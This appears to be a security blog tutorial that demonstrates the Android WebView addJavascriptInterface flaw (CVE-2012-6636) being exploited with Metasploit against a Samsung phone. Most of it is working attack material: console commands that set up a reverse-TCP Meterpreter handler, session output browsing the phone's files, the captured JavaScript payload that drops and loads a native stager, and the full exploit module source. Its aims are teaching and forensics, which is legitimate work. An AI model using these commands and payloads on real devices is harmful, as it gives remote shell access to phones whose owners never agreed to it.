Android WebView addJavascriptInterface Code execution VulnerabilityThis article shows how an Android device can be compromised using Metasploit. The device used is a Samsung S 3 phone with Android 4.1.2, and the attacker uses a vulnerability between the interface of JavaScript and Java to install a remote shell. In this case the attacking host is at 192.168.0.24, and the intruder tricks the user to access http://192.168.0.24:8080/Security. The first demo uses a vulnerability in Andriod 4.1.x, where there was a bug in the interface between JavaScript and the Java engine, and which allowed for a remote shell to be executed on the device from a simple Web access from a browser on the device: In this case, there is no installed software for the exploit on the device, and the intruder just gets the user to visit a given site (in this case 192.168.0.24:8080/Security) and they have a remote shell into the device. The most important thing here is that users should continually update their systems, in order to overcome this type of vulnerability. Over 2014, this vulnerability remained unpatched, and thus users were at risk. Google have also announced that they will not patch every Android device for WebView for Android versions before 4.4, and that users may have to wait a long time for patch: If the affected version [of WebView] is before 4.4, we generally do not develop the patches ourselves, but welcome patches with the report for consideration. Other than notifying OEMs, we will not be able to take action on any report that is affecting versions before 4.4 that are not accompanied with a patch. Thus they are not patching any of the versions up to, and including Android 4.3. From (Rapid7, 2015) the current share of the Android market is: As we can see the distribution is around 60% still at 4.3 and below, which could put over 900 million Android devices at risk of a backdoor connection through the WebView vulnerability.
Android and Exploit Example (WebView) from Bill Buchanan on Vimeo. Creating the Vulnerabilityroot@kali:~# msfconsole [*] Starting the Metasploit Framework console...| =[ metasploit v4.11.0-2014122301 [core:4.11.0.pre.2014122301 api:1.0.0]] + -- --=[ 1387 exploits - 866 auxiliary - 236 post ] + -- --=[ 342 payloads - 37 encoders - 8 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] Next we define the Webview exploit: msf > use exploit/android/browser/webview_addjavascriptinterface Next we define we setup the options we need: msf exploit(webview_addjavascriptinterface) > set LHOST 192.168.0.24 LHOST => 192.168.0.24 msf exploit(webview_addjavascriptinterface) > show options Module options (exploit/android/browser/webview_addjavascriptinterface): Name Current Setting Required Description ---- --------------- -------- ----------- Retries true no Allow the browser to retry the module SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) Payload options (android/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- AutoLoadAndroid true yes Automatically load the Android extension LHOST 192.168.0.24 yes The listen address LPORT 4444 yes The listen port RetryCount 10 yes Number of trials to be made if connection failed Exploit target: Id Name -- ---- 0 Automatic One of the options is to define the folder for the URL: msf exploit(webview_addjavascriptinterface) > set URIPATH Security URIPATH => Security Next run the exploit: msf exploit(webview_addjavascriptinterface) > exploit [*] Exploit running as background job. [*] Started reverse handler on 192.168.0.24:4444 [*] Using URL: http://0.0.0.0:8080/Security [*] Local IP: http://127.0.0.1:8080/Security [*] Server started. msf exploit(webview_addjavascriptinterface) > [*] 192.168.0.13 webview_addjavascriptinterface - Gathering target information. [*] 192.168.0.13 webview_addjavascriptinterface - Sending response HTML. [*] 192.168.0.13 webview_addjavascriptinterface - Serving armle exploit... [*] Sending stage (43586 bytes) to 192.168.0.13 [*] Meterpreter session 1 opened (192.168.0.24:4444 -> 192.168.0.13:49962) at 2015-01-19 23:29:04 +0000 The Android device has now connected to Metasploit:: msf exploit(webview_addjavascriptinterface) > sessions -i Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter java/android @ localhost 192.168.0.24:4444 -> 192.168.0.13:49962 (192.168.0.13) msf exploit(webview_addjavascriptinterface) > sessions -i 1 [*] Starting interaction with 1... meterpreter > ls Listing: /data/data/com.mx.browser/files/. ========================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 4620 fil 2015-01-19 21:51:31 +0000 addons.xml 40666/rw-rw-rw- 4096 dir 2015-01-19 21:51:28 +0000 banners 40666/rw-rw-rw- 4096 dir 2015-01-19 22:44:00 +0000 data 100666/rw-rw-rw- 36 fil 2015-01-19 21:51:28 +0000 gaClientId 100666/rw-rw-rw- 1123 fil 2015-01-19 23:26:01 +0000 hotword_v2.con 100666/rw-rw-rw- 2848 fil 2015-01-19 21:51:30 +0000 newnavigation.html 100666/rw-rw-rw- 6917 fil 2015-01-19 21:51:30 +0000 quickdial.xml 100666/rw-rw-rw- 1969 fil 2015-01-19 21:51:31 +0000 search_engine_identifier.xml 100666/rw-rw-rw- 1052 fil 2015-01-19 21:51:31 +0000 special_ua_websites.xml 100666/rw-rw-rw- 5536 fil 2015-01-19 21:51:30 +0000 topsites.json meterpreter > cd / meterpreter > ls Listing: / ========== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40444/r--r--r-- 0 dir 2015-01-19 23:25:20 +0000 acct 40000/--------- 4096 dir 2015-01-19 21:29:48 +0000 cache 40000/--------- 0 dir 2015-01-19 23:25:20 +0000 config 40444/r--r--r-- 0 dir 1970-01-01 01:00:00 +0100 d 40000/--------- 4096 dir 2015-01-19 23:25:22 +0000 data 100444/r--r--r-- 116 fil 1970-01-01 01:00:00 +0100 default.prop 40444/r--r--r-- 3720 dir 2015-01-19 23:25:21 +0000 dev 40000/--------- 4096 dir 2015-01-19 21:31:44 +0000 efs 40444/r--r--r-- 4096 dir 2015-01-19 21:19:16 +0000 etc 40000/--------- 4096 dir 2015-01-19 21:31:44 +0000 factory 100000/--------- 923 fil 1970-01-01 01:00:00 +0100 fstab.smdk4x12 100000/--------- 109336 fil 1970-01-01 01:00:00 +0100 init 100000/--------- 3604 fil 1970-01-01 01:00:00 +0100 init.bt.rc 100000/--------- 2344 fil 1970-01-01 01:00:00 +0100 init.goldfish.rc 100000/--------- 30991 fil 1970-01-01 01:00:00 +0100 init.rc 100000/--------- 15158 fil 1970-01-01 01:00:00 +0100 init.smdk4x12.rc 100000/--------- 6583 fil 1970-01-01 01:00:00 +0100 init.smdk4x12.usb.rc 100000/--------- 1637 fil 1970-01-01 01:00:00 +0100 init.trace.rc 100000/--------- 3915 fil 1970-01-01 01:00:00 +0100 init.usb.rc 40444/r--r--r-- 0 dir 1970-01-01 01:00:00 +0100 lib 100444/r--r--r-- 1618 fil 1970-01-01 01:00:00 +0100 lpm.rc 40444/r--r--r-- 0 dir 2015-01-19 23:25:20 +0000 mnt 40000/--------- 0 dir 2015-01-19 23:25:20 +0000 preload 40444/r--r--r-- 0 dir 1970-01-01 01:00:00 +0100 proc 40000/--------- 0 dir 2013-03-11 08:32:02 +0000 root 40000/--------- 0 dir 1970-01-01 01:00:00 +0100 sbin 40666/rw-rw-rw- 4096 dir 2015-01-19 21:51:28 +0000 sdcard 40444/r--r--r-- 0 dir 2015-01-19 23:25:20 +0000 storage 40444/r--r--r-- 0 dir 2015-01-19 23:25:20 +0000 sys 40444/r--r--r-- 4096 dir 2015-01-19 21:28:42 +0000 system 100444/r--r--r-- 272 fil 1970-01-01 01:00:00 +0100 ueventd.goldfish.rc 100444/r--r--r-- 3879 fil 1970-01-01 01:00:00 +0100 ueventd.rc 100444/r--r--r-- 3442 fil 1970-01-01 01:00:00 +0100 ueventd.smdk4x12.rc 40444/r--r--r-- 4096 dir 2013-03-11 09:06:49 +0000 vendor Forensics AnalysisThe trace for the traffic which generates the vulnerability is here GET /Security HTTP/1.1 Host: 192.168.0.24:8080 Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-Agent: Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 MxBrowser/4.3.7.2000 Accept-Encoding: gzip,deflate Accept-Language: en-GB, en-US Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7 Cookie: __ua=iIgoVJOhChGPUJBPRg The reply from Metasploit is: HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: __ua=UnzKETsI; Connection: Keep-Alive Server: Apache Content-Length: 120292 <script> var _={"\137\x6b\u0065\x79\u0053\u0074\x72":(function () { var pI="wxyz0123456789+/=",B="klmnopqrstuv",G="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefg",h="hij"; ... code missed out here ... ,0143,0165,0162,0x69,116,0x79,47,0111,117,78,80,79,0144,47);});}; </script> <noscript> <img style="visibility:hidden" src="/Security/FYAYLJv/"> <meta http-equiv="refresh" content="1; url=/Security/IuNPOd/"> </noscript> We can see from the code above that there is a hidden image (generated from the call to the FYAYLJv folder), and the following will cause the page to refresh with a call to IuNPOd: <meta http-equiv="refresh" content="1; url=/Security/IuNPOd/"> Just look at how this has been scrambled. For example: "\137\x6b\u0065\x79\u0053\u0074\x72" has a number of conversions here. "\137" uses Octal and is "k", "\x6b" uses hex and is "e", "\u0065" is unicode to give "y", and so on, to give "keyStr". Next there is a POST for the ggpkh folder: POST /Security/ggpkh/ HTTP/1.1 Host: 192.168.0.24:8080 Connection: keep-alive Referer: http://192.168.0.24:8080/Security Content-Length: 196 Origin: http://192.168.0.24:8080 Content-Type: application/xml User-Agent: Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 MxBrowser/4.3.7.2000 Accept-Encoding: gzip,deflate Accept-Language: en-GB, en-US Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7 Accept: */* Cookie: __ua=UnzKETsI The reply becomes: HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: __ua=; Connection: Keep-Alive Server: Apache Content-Length: 0 And now we see the post back from the device to the IuNPOd folder: GET /Security/IuNPOd/ HTTP/1.1 Host: 192.168.0.24:8080 Connection: keep-alive Referer: http://192.168.0.24:8080/Security Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-Agent: Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 MxBrowser/4.3.7.2000 Accept-Encoding: gzip,deflate Accept-Language: en-GB, en-US Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7 Cookie: __ua=UnzKETsI With a reply from Metasploit which delivers the JVM byte code for the injection: HTTP/1.1 200 OK Content-Type: text/html Connection: Keep-Alive Server: Apache Content-Length: 114014 <!doctype html><html><body><script> function exec(runtime, cmdArr) { var ch = 0; var output = ''; var process = runtime.exec(cmdArr); var input = process.getInputStream(); while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); } return output; } function attemptExploit(obj) { // ensure that the object contains a native interface try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; } // get the pid var pid = obj.getClass() .forName('android.os.Process') .getMethod('myPid', null) .invoke(null, null); // get the runtime so we can exec var runtime = obj.getClass() .forName('java.lang.Runtime') .getMethod('getRuntime', null) .invoke(null, null); // libraryData contains the bytes for a native shared object built via NDK // which will load the "stage", which in this case is our android meterpreter stager. var libraryData = "\\0177\\0105\\0114\\0106\\01\\01\\01\\00\\00 .... code missed out here ... \00"; // the stageData is the JVM bytecode that is loaded by the NDK stager. It contains // another stager which loads android meterpreter from the msf handler. var stageData = "\\0120\\0113\\03\\04\\024\\00\\00\\00\\010\\00\ ... code missed out here ... \\00\\00"; // get the process name, which will give us our data path // $PPID does not seem to work on android 4.0, so we concat pids manually var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']); var libraryPath = path + '/libunatXPSZ.so'; var stagePath = path + '/MCVuy.apk'; // build the library and chmod it runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor(); runtime.exec(['chmod', '700', libraryPath]).waitFor(); // build the stage, chmod it, and load it runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor(); runtime.exec(['chmod', '700', stagePath]).waitFor(); // load the library runtime.load(libraryPath); // delete dropped files runtime.exec(['rm', stagePath]).waitFor(); runtime.exec(['rm', libraryPath]).waitFor(); return true; } for (i in top) { if (attemptExploit(top[i]) === true) break; } </script></body></html> Metasploit scriptWe examine root@kali:/usr/share/metasploit-framework/modules/exploits/android/browser ... to get: ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/android' class Metasploit3 > Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Android VULN_CHECK_JS = %Q| for (i in top) { try { top[i].getClass().forName('java.lang.Runtime'); is_vuln = true; break; } catch(e) {} } | autopwn_info( :os_name => OperatingSystems::Match::ANDROID, :arch => ARCH_ARMLE, :javascript => true, :rank => ExcellentRanking, :vuln_test => VULN_CHECK_JS ) def initialize(info = {}) super(update_info(info, 'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution', 'Description' => %q{ This module exploits a privilege escalation issue in Android > 4.2's WebView component that arises when untrusted Javascript code is executed by a WebView that has one or more Interfaces added to it. The untrusted Javascript code can call into the Java Reflection APIs exposed by the Interface and execute arbitrary commands. Some distributions of the Android Browser app have an addJavascriptInterface call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs 4.1.2 release of Android is known to be vulnerable. A secondary attack vector involves the WebViews embedded inside a large number of Android applications. Ad integrations are perhaps the worst offender here. If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS into the page displayed in the WebView, then you can inject the html/js served by this module and get a shell. Note: Adding a .js to the URL will return plain javascript (no HTML markup). }, 'License' => MSF_LICENSE, 'Author' => [ 'jduck', # original msf module 'joev' # static server ], 'References' => [ ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'], ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'], ['URL', 'http://50.56.33.56/blog/?p=314'], ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'], ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'], ['CVE', '2012-6636'], # original CVE for addJavascriptInterface ['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_) ['EDB', '31519'], ['OSVDB', '97520'] ], 'Platform' => 'android', 'Arch' => ARCH_DALVIK, 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' }, 'Targets' => [ [ 'Automatic', {} ] ], 'DisclosureDate' => 'Dec 21 2012', 'DefaultTarget' => 0, 'BrowserRequirements' => { :source => 'script', :os_name => OperatingSystems::Match::ANDROID, :vuln_test => VULN_CHECK_JS, :vuln_test_error => 'No vulnerable Java objects were found in this web context.' } )) deregister_options('JsObfuscate') end # Hooked to prevent BrowserExploitServer from attempting to do JS detection # on requests for the static javascript file def on_request_uri(cli, req) if req.uri =~ /\.js/ serve_static_js(cli, req) else super end end # The browser appears to be vulnerable, serve the exploit def on_request_exploit(cli, req, browser) arch = normalize_arch(browser[:arch]) print_status "Serving #{arch} exploit..." send_response_html(cli, html(arch)) end # Called when a client requests a .js route. # This is handy for post-XSS. def serve_static_js(cli, req) arch = req.qstring['arch'] response_opts = { 'Content-type' => 'text/javascript' } if arch.present? print_status("Serving javascript for arch #{normalize_arch arch}") send_response(cli, add_javascript_interface_exploit_js(normalize_arch arch), response_opts) else print_status("Serving arch detection javascript") send_response(cli, static_arch_detect_js, response_opts) end end # This is served to requests for the static .js file. # Because we have to use javascript to detect arch, we have 3 different # versions of the static .js file (x86/mips/arm) to choose from. This # small snippet of js detects the arch and requests the correct file. def static_arch_detect_js %Q| var arches = {}; arches['#{ARCH_ARMLE}'] = /arm/i; arches['#{ARCH_MIPSLE}'] = /mips/i; arches['#{ARCH_X86}'] = /x86/i; var arch = null; for (var name in arches) { if (navigator.platform.toString().match(arches[name])) { arch = name; break; } } if (arch) { // load the script with the correct arch var script = document.createElement('script'); script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch); script.setAttribute('type', 'text/javascript'); // ensure body is parsed and we won't be in an uninitialized state setTimeout(function(){ var node = document.body \|\| document.head; node.appendChild(script); }, 100); } | end # @return [String] normalized client architecture def normalize_arch(arch) if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end end def html(arch) ">!doctype html>>html>>body>>script>#{add_javascript_interface_exploit_js(arch)}>/script>>/body>>/html>" end end ConclusionsThis article shows how an intruder can gain access to an Android device remotely using a vulnerability in the operating system. |